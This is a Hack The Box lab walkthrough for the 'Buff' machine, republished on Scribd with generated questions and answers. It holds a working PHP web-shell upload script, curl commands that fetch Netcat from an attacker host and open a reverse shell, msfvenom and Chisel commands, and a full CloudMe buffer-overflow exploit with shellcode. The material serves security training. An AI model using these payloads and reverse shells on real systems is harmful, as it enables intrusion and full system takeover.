0% found this document useful (0 votes)
28 views11 pages

Gym Management Software RCE Exploit

This document summarizes the steps taken to exploit a vulnerable Gym Management System web application running on the target machine. An unauthenticated file upload vulnerability is exploited to gain remote code execution. Netcat is used to establish a reverse shell. The CloudMe service running on port 8888 is found to have a buffer overflow vulnerability. Chisel is used to port forward the service, allowing an exploit to be run and escalating privileges to the system administrator account.

Uploaded by

MK
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
28 views11 pages

Gym Management Software RCE Exploit

This document summarizes the steps taken to exploit a vulnerable Gym Management System web application running on the target machine. An unauthenticated file upload vulnerability is exploited to gain remote code execution. Netcat is used to establish a reverse shell. The CloudMe service running on port 8888 is found to have a buffer overflow vulnerability. Chisel is used to port forward the service, allowing an exploit to be run and escalating privileges to the system administrator account.

Uploaded by

MK
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

 

 Buff
16th Oct 2020 / Document No D20.100.95

Prepared By: felamos

Machine Creator: egotisticalSW

Difficulty: Easy

Classification: Official

 
Synopsis
Buff is an easy difficulty Windows machine that features an instance of Gym Management System
1.0. This is found to suffer from an unauthenticated remote code execution vulnerability.
Enumeration of the internal network reveals a service running at port 8888. The installation file
for this service can be found on disk, allowing us to debug it locally. We can perform port
forwarding in order to make the service available and exploit it.

Skills Required
Basic Networking
Enumeration

Skills Learned
Unauthenticated RCE
Buffer Overflow
Port Forwarding
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 [Link] | grep ^[0-9] | cut -d '/' -f1
| tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p $ports [Link] -Pn

The Nmap scan reveals port 8080, which is running Apache server with PHP version 7.4.6.

On navigating to port 8080 we're presented with a fitness website.

Visiting /contact reveals information about the version of the web application.
Foothold
We know that the web application is running Gym Management Software 1.0. Searching for
known issues for this application reveals an unauthenticated file upload vulnerability, which
allows attackers to gain RCE.

We can download Gym Management Software from here. Let's take a look at source code to
understand how it works.

unzip [Link]

Accord to public analysis on this application, the vulnerability exists in [Link] because the
application doesn't check if the user is authenticated.

<?php
<SNIP>
$user = $_GET['id'];
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["file"]["name"]));
if(isset($_POST['pupload'])){
if ((($_FILES["file"]["type"] == "image/png")
<SNIP>
     move_uploaded_file($_FILES["file"]["tmp_name"],
     "upload/". $user.".".$ext);
     $url=$user.".".$ext;
<SNIP>
?>

Looking at the source code of [Link] , we see that it takes in the GET parameter id and
assigns the value to a variable user. It also checks if the image file is valid, but we can bypass
those filters by adding a double extension. Lets create a simple Python script to upload our
malicious php code.

#!/usr/bin/env python3

import requests

def Main():
   url = "[Link]
   s = [Link]()
   [Link](url, verify=False)
   PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
   png = {
           'file':
          (
               '[Link]',
               PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["cmd"]); ?>',
               'image/png',
              {'Content-Disposition': 'form-data'}
              )
          }
   data = {'pupload': 'upload'}
   r = [Link](url=url, files=png, data=data, verify=False)
   print("Uploaded!")

if __name__ == "__main__":
   Main()

We are satisfying the check that this is a valid PNG file by prepending it with the magic bytes for
PNG, which are 0x8950 in hex.

<?php echo shell_exec($_GET["cmd"]); ?>

The PHP code in in our webshell will execute any command we provide in a GET request using
the "cmd" parameter.

Lets execute the Python code.

Next, let's navigate to /upload/[Link] and try to execute a command.

This succeeded. Let's upgrade to a proper shell. First, upload a Netcat binary, then stand up a
simple Python HTTP server and a Netcat listener locally on port 4444.

python3 -m [Link] 80
nc -lvnp 4444

Finally, issue the commands below to download [Link] and execute it to spawn a reverse shell.

curl "[Link]
WebRequest%20-Uri%20http%3A%2F%2F10.10.14.2%[Link]%20-
Outfile%20c%3A%5Cusers%5Cpublic%[Link]"

curl "[Link]
cmd=c%3A%5Cusers%5Cpublic%[Link]%2010.10.14.2%204444%20-e%[Link]"
We've successfully received a more stable reverse shell.
Lateral Movement
On enumerating the file system, we come across the binary CloudMe_1112.exe in the directory
C:\Users\shaun\Downloads .

After downloading and running the installer in a VM, we see that the service is listening on port
8888. Using netstat , we confirm that port 8888 is available on the box, bound to localhost.

netstat -an | findstr "LISTENING"

 
Privilege Escalation
Searching online for "Cloud Me" version 1112 returns this Exploit-DB exploit. Inspection reveals
that it's a buffer overflow exploit (see Appendix A for the code listing).

As the service listens on localhost, we can make this port available to our machine using a SOCKS
proxy. To accomplish this, we can use Chisel. First, set up the Chisel server on our attacking
machine, listening on port 9999.

./chisel server -p 9999 --reverse

We can download Chisel for Windows and upload it to the target machine so we can tunnel port
8080 to our system.

[Link] client [Link]:9999 R:8888:[Link]:8888

We confirm that the tunnel was successfully established. Let's use msfvenom to generate
shellcode.

msfvenom -p windows/shell_reverse_tcp LHOST=[Link] LPORT=4444


EXITFUNC=thread -b "\x00\x0d\x0a" -f python
Next, stand up a Netcat listener on port 2222, replace shellcode in the script and then run it. The
script will send our payload to the service at 8888.

python2 [Link]

This is successful and we receive a shell as administrator and can access the root flag on the
desktop.

 
Appendix A
CloudMe Exploit Code:

import socket
import sys

target = "[Link]"

padding1   = b"\x90" * 1052


EIP       = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -p windows/shell_reverse_tcp LHOST=[Link] LPORT=4444


EXITFUNC=thread -b "\x00\x0d\x0a" -f python
payload   = b"\xba\xad\x1e\x7c\x02\xdb\xcf\xd9\x74\x24\xf4\x5e\x33"
payload   += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xa2\xfc"
payload   += b"\x89\xfe\x54\x82\x72\xff\xa4\xe3\xfb\x1a\x95\x23\x9f"
payload   += b"\x6f\x85\x93\xeb\x22\x29\x5f\xb9\xd6\xba\x2d\x16\xd8"
payload   += b"\x0b\x9b\x40\xd7\x8c\xb0\xb1\x76\x0e\xcb\xe5\x58\x2f"
payload   += b"\x04\xf8\x99\x68\x79\xf1\xc8\x21\xf5\xa4\xfc\x46\x43"
payload   += b"\x75\x76\x14\x45\xfd\x6b\xec\x64\x2c\x3a\x67\x3f\xee"
payload   += b"\xbc\xa4\x4b\xa7\xa6\xa9\x76\x71\x5c\x19\x0c\x80\xb4"
payload   += b"\x50\xed\x2f\xf9\x5d\x1c\x31\x3d\x59\xff\x44\x37\x9a"
payload   += b"\x82\x5e\x8c\xe1\x58\xea\x17\x41\x2a\x4c\xfc\x70\xff"
payload   += b"\x0b\x77\x7e\xb4\x58\xdf\x62\x4b\x8c\x6b\x9e\xc0\x33"
payload   += b"\xbc\x17\x92\x17\x18\x7c\x40\x39\x39\xd8\x27\x46\x59"
payload   += b"\x83\x98\xe2\x11\x29\xcc\x9e\x7b\x27\x13\x2c\x06\x05"
payload   += b"\x13\x2e\x09\x39\x7c\x1f\x82\xd6\xfb\xa0\x41\x93\xf4"
payload   += b"\xea\xc8\xb5\x9c\xb2\x98\x84\xc0\x44\x77\xca\xfc\xc6"
payload   += b"\x72\xb2\xfa\xd7\xf6\xb7\x47\x50\xea\xc5\xd8\x35\x0c"
payload   += b"\x7a\xd8\x1f\x6f\x1d\x4a\xc3\x5e\xb8\xea\x66\x9f"

overrun   = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun

try:
s=[Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((target,8888))
[Link](buf)
except Exception as e:
print(sys.exc_value)

Common questions

Powered by AI

Port forwarding is used to make internal services available externally, allowing attackers to interact and exploit them. In this context, the SOCKS proxy tool Chisel can be used to tunnel port 8080 to the attacker's machine, facilitating the exploitation of vulnerabilities present in the service running on the internal network .

The buffer overflow exploit on CloudMe_1112.exe is achieved by sending an excessively large payload to the service listening on port 8888. The exploit is initiated by crafting a payload that overwrites the stack, including the Extended Instruction Pointer (EIP), with a value pointing to a return address that executes the embedded shellcode upon overflow .

To prevent the exploitation of vulnerabilities in the Gym Management Software, several security measures should be implemented. Authentication checks must be enforced for all file upload functionalities to prevent unauthorized access. Input validation should ensure that only appropriate file extensions are allowed. It is also important to use secure coding principles to validate and sanitize file content to prevent execution of malicious scripts. Regular security audits and applying the latest security patches could further mitigate risks. Network defenses like a Web Application Firewall (WAF) can detect and block malicious payloads before reaching vulnerable application endpoints .

Netcat, when used with a simple Python HTTP server, allows the attacker to host and serve a netcat binary to the exploited machine. The reverse shell is upgraded by downloading the netcat binary to the target system using HTTP requests and then executing it to establish a more stable and interactive shell session, improving command execution reliability .

Chisel is used to create a SOCKS proxy that makes the port 8888, where CloudMe_1112.exe is listening, accessible from the attacker's machine by tunneling connections through port 9999 on the attacker's system. This allows the attacker to exploit the buffer overflow vulnerability remotely by sending crafted payloads through the newly accessible service .

Magic bytes are used to prepend the file content to satisfy the application's file type check. By using PNG magic bytes, an uploaded file will pass as a valid image file. This allows the rest of the file, which contains malicious PHP code, to be executed by the server to achieve remote code execution .

A SOCKS proxy is effective for exploiting internal services as it can dynamically forward traffic between the attacker and target machine without a direct network connection. Compared to VPN or direct access, it offers a flexible, session-layer method to access localhost-bound services. It requires less configuration and can be less intrusive while providing sufficient bandwidth for sending exploits, making it preferable in environments needing stealthy operations .

The vulnerability in Gym Management Software is an unauthenticated file upload vulnerability. It can be exploited by uploading a malicious PHP file with a double extension to bypass file filters, as the application doesn't check if the user is authenticated in the upload.php file. By exploiting this, attackers can execute arbitrary commands through the uploaded shell script using the "cmd" parameter in GET requests .

The msfvenom tool is used to generate a custom shellcode payload that enables a reverse TCP shell. By embedding this shellcode into the exploit script targeting the CloudMe_1112.exe service, the attacker can execute arbitrary commands on the target machine with administrator privileges once the buffer overflow is exploited .

To exploit the Gym Management System and achieve a reverse shell, first identify the unauthenticated file upload vulnerability in upload.php. Craft and upload a PHP web shell disguised as a PNG file using magic bytes to ensure it passes file type checks. Execute the web shell to run arbitrary commands by navigating to the upload path and supplying command parameters. Finally, use curl to download a netcat executable to the target, execute it with command-line parameters to connect back to an attacker's Netcat listener, thus establishing a reverse shell .

You might also like